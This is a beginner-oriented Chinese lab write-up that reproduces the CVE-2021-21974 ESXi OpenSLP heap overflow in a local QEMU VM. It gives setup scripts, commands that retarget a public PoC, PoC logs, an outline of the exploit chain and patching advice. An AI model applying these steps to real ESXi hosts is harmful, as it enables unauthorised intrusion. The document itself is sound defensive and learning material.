文章

CVE-2021-21974 VMware ESXi OpenSLP 堆溢出漏洞复现:纯新手向本地靶场记录

面向完全新手的 CVE-2021-21974 本地隔离靶场复现笔记,从 ESXi、OpenSLP、QEMU 端口转发讲起,记录环境搭建、PoC 修改、运行结果、失败原因分析和防护建议。

CVE-2021-21974 VMware ESXi OpenSLP 堆溢出漏洞复现:纯新手向本地靶场记录

CVE-2021-21974 VMware ESXi OpenSLP 堆溢出漏洞复现:纯新手向本地靶场记录

免责声明:本文只用于本地隔离实验室、CTF 训练和已授权安全研究。不要对公网、公司生产环境或任何未授权资产运行扫描、PoC 或漏洞利用代码。文中的目标默认都是本机 127.0.0.1 和本地 QEMU 虚拟机。

写在前面:这篇文章适合谁

这篇文章按“完全新手”的节奏重新整理,默认你只需要具备下面这些基础:

  1. 会打开 Linux 终端。
  2. 知道 cd、ls、cp、chmod 这类基本命令。
  3. 大概知道虚拟机是什么。
  4. 能接受漏洞复现不一定每次都能弹 shell。

如果你第一次接触 ESXi、OpenSLP、QEMU、堆溢出,也可以直接跟着看。本文重点不是教你复制命令去打别人机器,而是记录一次本地靶场复现过程,让你理解:

  • 目标环境怎么搭;
  • 服务是否在线怎么确认;
  • PoC 为什么要改地址和端口;
  • 漏洞复现失败时怎么分层判断原因;
  • 防守方应该怎么处理这个漏洞。

阅读路线

如果你完全没基础,建议按这个顺序看:

  1. 先看“漏洞背景”和“新手术语速查”,知道 ESXi、OpenSLP、427 端口、堆溢出分别是什么。
  2. 再看“实验拓扑”,弄清楚为什么访问的是 127.0.0.1:1427,而不是直接访问 427。
  3. 跟着“准备材料”和“安装 ESXi 虚拟机”搭本地环境。
  4. 一定先确认端口是 open,再运行 PoC。
  5. 最后看日志,不要只盯着“有没有弹 shell”。

目录


新手术语速查

术语新手解释
ESXiVMware 的裸金属虚拟化系统,可以理解成“专门用来跑虚拟机的系统”。
OpenSLPService Location Protocol 的开源实现,作用是服务发现。
slpdOpenSLP 的服务端进程名,也是本漏洞主要攻击的服务。
427/TCPSLP 常见监听端口。本文通过 QEMU 把宿主机 1427 转发到虚拟机 427。
PoCProof of Concept,概念验证代码。这里指用于验证漏洞是否可触发的脚本。
堆溢出程序往堆内存里写入超过预期长度的数据,覆盖了旁边的数据结构。
堆风水通过多次申请、释放内存,让堆布局尽量变成攻击者想要的形状。
fdfile descriptor,文件描述符。网络 socket 在 Linux/类 Unix 系统里也会对应 fd。
RCERemote Code Execution,远程代码执行。

先记住一句话:

这个漏洞的核心是:攻击者向 ESXi 的 slpd 服务发送特制 SLP 数据包,尝试破坏堆内存中的关键结构,进一步实现内存读写和命令执行。


0. 这篇文章做到了什么?

先把结论放前面,避免新手误解:这次本地实验复现到了服务异常和泄露阶段,但在 QEMU user 端口转发环境中没有稳定打通完整 RCE。对学习来说,这仍然很有价值,因为它能展示真实漏洞复现中最常见的排查过程。

参考仓库:https://github.com/Aiyakami/CVE-2021-21974

我在本地搭建了一个 ESXi 6.7.0 Update 03 Build 14320388 虚拟实验环境,并把参考仓库里的 Python PoC 改成本机端口转发方式运行。

本次本地证据:

  • 成功安装并启动 ESXi 6.7.0 Build 14320388;
  • 确认 OpenSLP 的 slpd 服务在 427/TCP 监听;
  • 通过修改后的 PoC 向本机转发端口 127.0.0.1:1427 发送漏洞利用链;
  • 成功触发到 PoC 的堆布局操作和泄露阶段;
  • 在 QEMU 用户态端口转发环境中,完整 RCE 链未稳定打通,观测到 slpd 崩溃/连接断开等堆破坏现象;
  • 原仓库说明的完整 RCE 成功条件是:真实/近真实 ESXi 6.7 Build 14320388、固定堆布局、固定 fd 和 pacing 参数。

本地证据文件:

文件说明
repo/克隆的参考 PoC 仓库
iso/VMware-VMvisor-Installer-6.7.0.update03-14320388.x86_64.isoESXi ISO
ks.cfg自动安装 kickstart 文件
run_esxi_qemu.sh从 ISO 安装 ESXi 的 QEMU 启动脚本
run_esxi_disk.sh从已安装磁盘启动 ESXi 的 QEMU 脚本
work/exploit_local.py改为攻击 127.0.0.1:1427 的 PoC
work/exploit_local_noprefill.py去掉 prefill 的调试版 PoC
evidence/exploit_run1.logprefill 版运行日志
evidence/exploit_noprefill.lognoprefill 版运行日志
evidence/hashes.txt关键文件哈希
evidence/screen-disk.pngESXi 启动成功截图

新手可以把这次结果理解成下面三层:

  1. 环境层成功:ESXi 安装成功,slpd 服务启动成功,端口能连通。
  2. 触发层成功:PoC 能连上目标,并跑到堆布局和泄露阶段。
  3. 完整利用层未稳定成功:由于本地 QEMU user 网络和原作者环境不同,完整 RCE 链没有稳定打通。

1. 漏洞背景:CVE-2021-21974 是什么?

CVE-2021-21974 是 VMware ESXi 中 OpenSLP 服务的堆溢出漏洞。

一句话解释:

ESXi 默认可能开启一个叫 slpd 的服务,监听 427 端口。攻击者如果能访问这个端口,就可能通过特制 SLP 数据包破坏 slpd 的堆内存,进一步造成服务崩溃,甚至在特定版本和堆布局下实现远程命令执行。

几个关键词:

  • ESXi:VMware 的裸金属虚拟化系统。
  • OpenSLP / slpd:Service Location Protocol 的服务端进程,用于服务发现。
  • 427/TCP/UDP:SLP 默认端口。
  • 堆溢出:程序在堆内存中写入超出预期长度的数据,覆盖旁边的数据结构。
  • RCE:Remote Code Execution,远程代码执行。

参考:


2. 实验拓扑

我的宿主机是 Linux,ESXi 跑在 QEMU 里。

1
2
3
4
5
6
7
8
宿主机 Linux
  ├─ 127.0.0.1:2222  ---> QEMU ESXi :22   SSH,调试用
  ├─ 127.0.0.1:1427  ---> QEMU ESXi :427  OpenSLP 漏洞端口
  └─ 127.0.0.1:8443  ---> QEMU ESXi :443  Web 管理口

QEMU 虚拟机
  └─ VMware ESXi 6.7.0 Update 03 Build 14320388
       └─ /sbin/slpd 监听 427/TCP

为什么用 1427 而不是 427?

因为 Linux 普通用户默认不能监听 1024 以下的本地端口。QEMU 在宿主机监听 127.0.0.1:1427,再转发到虚拟机里的 427。


3. 准备材料

3.1 克隆 PoC

1
git clone https://github.com/Aiyakami/CVE-2021-21974 repo

本文使用的参考仓库最新 commit:

1
0ae2822 CVE-2021-21974: VMware ESXi OpenSLP heap overflow RCE PoC

3.2 下载 ESXi ISO

参考仓库 README 给出的测试镜像:

1
2
3
mkdir -p iso
cd iso
wget https://dn711004.ca.archive.org/0/items/vmware-installer-6.7.0-update-03/VMware-VMvisor-Installer-6.7.0.update03-14320388.x86_64.iso

校验:

1
sha256sum iso/VMware-VMvisor-Installer-6.7.0.update03-14320388.x86_64.iso

我本地得到:

1
fcbaa4cd952abd9e629fb131b8f46a949844405d8976372e7e5b55917623fbe0

4. 安装 ESXi 虚拟机

4.1 编写 kickstart 自动安装文件

文件:ks.cfg

# ESXi 6.7 unattended install for local CVE-2021-21974 lab
vmaccepteula
rootpw VMware1!
install --firstdisk --overwritevmfs
network --bootproto=dhcp --device=vmnic0
reboot
%firstboot --interpreter=busybox
vim-cmd hostsvc/enable_ssh
vim-cmd hostsvc/start_ssh
/etc/init.d/slpd start || true
esxcli network firewall ruleset set -e true -r CIMSLP || true
esxcli system settings advanced set -o /UserVars/SuppressShellWarning -i 1 || true

解释一下:

  • vmaccepteula:自动接受 VMware EULA;
  • rootpw VMware1!:设置 root 密码;
  • install --firstdisk --overwritevmfs:安装到第一块磁盘;
  • network --bootproto=dhcp:使用 DHCP;
  • %firstboot:第一次启动后执行命令;
  • /etc/init.d/slpd start:启动漏洞服务。

注意:这是实验密码,只能用于本地隔离环境。

4.2 修改 ISO 启动参数

先解压 ISO:

1
2
3
mkdir extract
7z x iso/VMware-VMvisor-Installer-6.7.0.update03-14320388.x86_64.iso -oextract
cp -a extract esxi-custom

把 BOOT.CFG 和 EFI/BOOT/BOOT.CFG 里的:

1
kernelopt=cdromBoot runweasel

改成:

1
kernelopt=cdromBoot runweasel ks=http://10.0.2.2:8000/ks.cfg

这里的 10.0.2.2 是 QEMU user 网络中“宿主机”的地址。

重新打包 ISO:

1
2
3
4
5
6
xorriso -as mkisofs \
  -relaxed-filenames -J -R \
  -o esxi-6.7u3-ks.iso \
  -b ISOLINUX.BIN -c boot.cat \
  -no-emul-boot -boot-load-size 4 -boot-info-table \
  esxi-custom

4.3 创建虚拟硬盘

1
qemu-img create -f qcow2 esxi-lab.qcow2 12G

4.4 启动一个 HTTP 服务提供 ks.cfg

在项目根目录运行:

1
python3 -m http.server 8000 --bind 0.0.0.0

安装时,ESXi 会请求:

1
http://10.0.2.2:8000/ks.cfg

4.5 从 ISO 安装 ESXi

文件:run_esxi_qemu.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env bash
set -euo pipefail
qemu-system-x86_64 \
  -enable-kvm -cpu host -smp 2 -m 4096 \
  -machine q35 \
  -cdrom esxi-6.7u3-ks.iso \
  -drive file=esxi-lab.qcow2,if=none,id=disk0,format=qcow2 \
  -device ahci,id=ahci \
  -device ide-hd,drive=disk0,bus=ahci.0 \
  -netdev user,id=net0,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:1427-:427,hostfwd=tcp:127.0.0.1:8443-:443 \
  -device e1000,netdev=net0 \
  -boot d \
  -vnc 127.0.0.1:5 \
  -monitor unix:evidence/qemu-monitor.sock,server,nowait \
  -serial file:evidence/qemu-serial.log

运行:

1
2
chmod +x run_esxi_qemu.sh
./run_esxi_qemu.sh

等待安装完成后,关闭虚拟机。

4.6 从磁盘启动 ESXi

文件:run_esxi_disk.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env bash
set -euo pipefail
rm -f evidence/qemu-monitor.sock
qemu-system-x86_64 \
  -enable-kvm -cpu host -smp 2 -m 4096 \
  -machine q35 \
  -drive file=esxi-lab.qcow2,if=none,id=disk0,format=qcow2 \
  -device ahci,id=ahci \
  -device ide-hd,drive=disk0,bus=ahci.0,bootindex=1 \
  -netdev user,id=net0,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:1427-:427,hostfwd=tcp:127.0.0.1:8443-:443 \
  -device e1000,netdev=net0 \
  -vnc 127.0.0.1:5 \
  -monitor unix:evidence/qemu-monitor.sock,server,nowait \
  -serial file:evidence/qemu-serial.log

运行:

1
2
chmod +x run_esxi_disk.sh
./run_esxi_disk.sh

ESXi 启动成功后,控制台能看到类似:

1
2
3
VMware ESXi 6.7.0 (VMKernel Release Build 14320388)
To manage this host go to:
http://10.0.2.15/ (DHCP)

本地截图:evidence/screen-disk.png


5. 确认漏洞服务在线

在宿主机测试端口:

1
timeout 3 bash -c '</dev/tcp/127.0.0.1/1427' && echo open || echo closed

如果输出:

1
open

说明宿主机可以访问虚拟机里的 slpd:427。

如果 SSH 可用,也可以进入 ESXi 看:

1
2
3
4
5
sshpass -p 'VMware1!' ssh -F /dev/null \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -p 2222 root@127.0.0.1 \
  '/etc/init.d/slpd status; esxcli network ip connection list | grep :427'

我之前看到过类似结果:

1
2
3
slpd is running
10.0.2.15:427  0.0.0.0:0  LISTEN
127.0.0.1:427  0.0.0.0:0  LISTEN

6. 修改 PoC 为本地复现版本

原 PoC 默认攻击:

1
2
3
TARGET_HOST = "192.168.112.153"
TARGET_PORT = 427
AUTO_READ_RESULT_VIA_SSH = True

我们改成本机 QEMU 转发端口:

1
2
3
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 1427
AUTO_READ_RESULT_VIA_SSH = False

命令:

1
2
3
4
5
6
7
8
9
10
cp repo/CVE-2021-21974.py work/exploit_local.py
python3 - <<'PY'
from pathlib import Path
p = Path('work/exploit_local.py')
s = p.read_text()
s = s.replace('TARGET_HOST = "192.168.112.153"', 'TARGET_HOST = "127.0.0.1"')
s = s.replace('TARGET_PORT = 427', 'TARGET_PORT = 1427')
s = s.replace('AUTO_READ_RESULT_VIA_SSH = True', 'AUTO_READ_RESULT_VIA_SSH = False')
p.write_text(s)
PY

为了适配 QEMU hostfwd 环境,我还做了一个调试版:

1
2
3
4
5
6
7
python3 - <<'PY'
from pathlib import Path
src = Path('work/exploit_local.py').read_text()
s = src.replace('PREFILL_COUNT = 30', 'PREFILL_COUNT = 0')
s = s.replace('PREFILL_KEEP_OPEN = True', 'PREFILL_KEEP_OPEN = False')
Path('work/exploit_local_noprefill.py').write_text(s)
PY

为什么去掉 prefill?

参考 PoC 是为了真实 ESXi 目标的固定堆布局写的。QEMU user 网络端口转发、连接节奏、fd 分配都可能让堆布局发生偏移。去掉 prefill 后更容易观察基础漏洞触发和泄露阶段。


7. 运行 PoC

7.1 原参数本地转发版

1
python3 work/exploit_local.py 2>&1 | tee evidence/exploit_run1.log

关键输出:

1
2
3
4
5
[fixed] target=127.0.0.1:1427 cmd='echo PWNED_BY_CVE_2021_21974>/tmp/p' service='service:pwn'
[prefill] count=30 block=0x40 keep_open=True fd_shift=27
[fixed] fd: listen=0x8 r7=0x2a r16=0x2f r25=0x33 r33=0x38
...
BrokenPipeError: [Errno 32] Broken pipe

含义:

  • PoC 已经连接本地转发端口;
  • 已进入多连接堆布局阶段;
  • 连接中途断开,说明本地 QEMU hostfwd 环境下完整链条不稳定。

7.2 noprefill 调试版

1
python3 work/exploit_local_noprefill.py 2>&1 | tee evidence/exploit_noprefill.log

关键输出:

1
2
3
4
5
6
7
8
9
[fixed] target=127.0.0.1:1427 cmd='echo PWNED_BY_CVE_2021_21974>/tmp/p' service='service:pwn'
[prefill] count=0 block=0x40 keep_open=False fd_shift=0
[fixed] fd: listen=0x8 r7=0xf r16=0x14 r25=0x18 r33=0x1d
...
[r15] leak_data
[+] leak_len=12768
[+] marker_found=False marker_offset=-1
[+] first_non_0x42_offset=12767
[-] no obvious heap/libc pointer candidates in aligned u32 view

这说明 PoC 已经跑到“泄露阶段”,但是没有拿到原作者利用链想要的 marker 和指针,因此不能继续稳定计算 heap/libc 地址。


8. 如何理解这次结果?

8.1 为什么没有完整 RCE?

原仓库 README 也强调了:

PoC 基于固定堆布局参数,依赖目标 ESXi 6.7 build-14320388 的 slpd / glibc 版本。换环境时需调整 fd / size / pacing 参数。

我的环境虽然版本一致,但是运行方式不同:

  • ESXi 跑在 QEMU 中;
  • 网络走 QEMU user-mode host forwarding;
  • 攻击端口是宿主机 1427 转发到虚拟机 427;
  • 连接时序、socket 行为、堆布局和真实物理/桥接网络环境可能不同。

所以本地复现到:

  • SLP 多连接堆布局;
  • 溢出触发路径;
  • 泄露阶段;
  • 连接异常/服务崩溃迹象;

但没有在这个 QEMU user 网络环境下稳定得到 /tmp/p 里的 PWNED_BY_CVE_2021_21974。

8.2 新人应该关注什么?

漏洞复现不是“运行一下脚本一定弹 shell”。尤其是堆溢出 RCE,成功率高度依赖:

  • 程序版本;
  • libc 版本;
  • 进程启动状态;
  • 网络时延;
  • fd 分配;
  • 堆风水;
  • ASLR;
  • PoC 作者调过的 magic number。

所以复现时要分层判断:

  1. 端口是否通?
  2. 服务是否正确?
  3. PoC 是否能发送协议包?
  4. 服务是否进入异常路径?
  5. 是否能泄露内存?
  6. 是否能算出 heap/libc?
  7. 是否能写内存?
  8. 是否能触发命令执行?

我这次本地实验走到了第 4~5 步;原仓库在作者环境中走到了第 8 步。


9. PoC 利用链大概在做什么?

不用一开始就读懂 1298 行 Python。先看大流程:

1
2
3
4
5
6
7
8
1. 建立很多 TCP 连接
2. 发送 SLP 协议包,制造堆布局
3. 用 DAAdvert / SrvReg / SrvRqst 等包触发堆溢出
4. 篡改 slpd 内部 socket/buffer 结构
5. 构造“任意地址读”泄露 heap/libc
6. 计算 system、__free_hook 等地址
7. 构造“任意地址写”修改钩子或数据库缓冲区
8. 触发 free / SrvDeReg,执行命令

几个重要函数:

函数作用
slp_header()构造 SLP 包头
srv_rqst()构造 Service Request
da_advert()构造 DAAdvert,漏洞利用链中用于溢出
srv_reg()注册服务,塞入 marker/属性数据
srv_dereg()注销服务,后期可用于触发执行
update_target_slpdsocket()伪造/修改 slpd socket 结构
update_target_send_buffer()改 send buffer,形成读原语
update_target_recv_buffer()改 recv buffer,形成写原语

新人可以先把它理解成:

PoC 不是一次发包完成的,而是用几十个连接慢慢“摆堆”,把 slpd 内存摆成作者想要的形状,再通过溢出把内部指针改掉。


10. 常见坑

坑 1:ISO 能启动但找不到磁盘

如果 kickstart 报:

1
firstdisk specified, but no suitable disk was found

说明 QEMU 磁盘控制器 ESXi 不识别。我最开始用过 lsi53c895a,ESXi 安装器没找到磁盘。改成 AHCI/IDE 后解决:

1
2
-device ahci,id=ahci
-device ide-hd,drive=disk0,bus=ahci.0

坑 2:kickstart 下载失败

如果看到:

1
File (http://10.0.2.2:8000/ks.cfg) connection failed

检查 HTTP 服务是否绑定到了 0.0.0.0:

1
python3 -m http.server 8000 --bind 0.0.0.0

不要只绑定 127.0.0.1,因为 QEMU 里的 ESXi 访问宿主机用的是 10.0.2.2。

坑 3:PoC BrokenPipe

BrokenPipeError 表示脚本想继续往 socket 写数据,但对端已经断开。可能原因:

  • slpd 崩溃;
  • 堆布局不对,目标连接被破坏;
  • 网络转发造成时序变化;
  • 参数不适合当前环境。

坑 4:泄露不到 marker

日志:

1
2
[+] marker_found=False
[-] no obvious heap/libc pointer candidates

说明 PoC 没有读到预期内存片段。后续 heap/libc 地址计算无法继续,完整 RCE 也就不会成功。


11. 清理和恢复

重启 slpd:

1
2
3
4
5
sshpass -p 'VMware1!' ssh -F /dev/null \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -p 2222 root@127.0.0.1 \
  '/etc/init.d/slpd restart; /etc/init.d/slpd status'

关闭 QEMU:

1
printf 'quit\n' | socat - UNIX-CONNECT:evidence/qemu-monitor.sock

12. 防护建议

如果你是防守方:

  1. 升级 ESXi 到 VMware 修复版本;
  2. 如果不需要 SLP,禁用 slpd;
  3. 用防火墙限制 427/TCP/UDP,只允许可信管理网访问;
  4. 检查是否有异常 slpd 崩溃、core dump 或未知文件;
  5. 不要把 ESXi 管理口暴露到公网。

VMware 官方缓解建议请看:


13. 本地哈希和证据摘要

关键文件哈希见:evidence/hashes.txt

1
2
3
4
5
ace7ed138d19fcc0c518b4f38bafd205381ca607e91533503418e1b398d6f20f  repo/CVE-2021-21974.py
4fd31b2ca250b6cc9fba1544d69d1f2710a6c8339d7558d1ec665d6b7676444e  work/exploit_local.py
58c7dbd90f11de814bd19b138899999e4a89ad9f7097a6ed1218d7749d5b90d5  work/exploit_local_noprefill.py
fcbaa4cd952abd9e629fb131b8f46a949844405d8976372e7e5b55917623fbe0  iso/VMware-VMvisor-Installer-6.7.0.update03-14320388.x86_64.iso
7864b3cab2471735df51962ca28d3701979f25065a1d372d56fec5a86f02cb95  esxi-6.7u3-ks.iso

PoC 日志重点:

1
2
3
4
5
6
[fixed] target=127.0.0.1:1427 cmd='echo PWNED_BY_CVE_2021_21974>/tmp/p' service='service:pwn'
[prefill] count=0 block=0x40 keep_open=False fd_shift=0
[fixed] fd: listen=0x8 r7=0xf r16=0x14 r25=0x18 r33=0x1d
[r15] leak_data
[+] leak_len=12768
[+] marker_found=False marker_offset=-1

14. 总结

这次复现最重要的收获不是“点一下脚本弹 shell”,而是理解一个真实堆溢出 RCE 的复现过程:

  • 先搭目标版本;
  • 再确认漏洞服务;
  • 再改 PoC 的目标地址和端口;
  • 再看 PoC 跑到了哪一步;
  • 最后用日志判断是端口问题、服务问题、堆布局问题还是利用链问题。

对新人来说,能复现到服务异常/泄露阶段,已经能学到很多漏洞分析方法。想继续追完整 RCE,需要把 QEMU user 网络换成更接近真实环境的桥接/TAP 网络,并继续调 PREFILL_COUNT、fd、size、delay 等堆风水参数。

本文由作者按照 CC BY 4.0 进行授权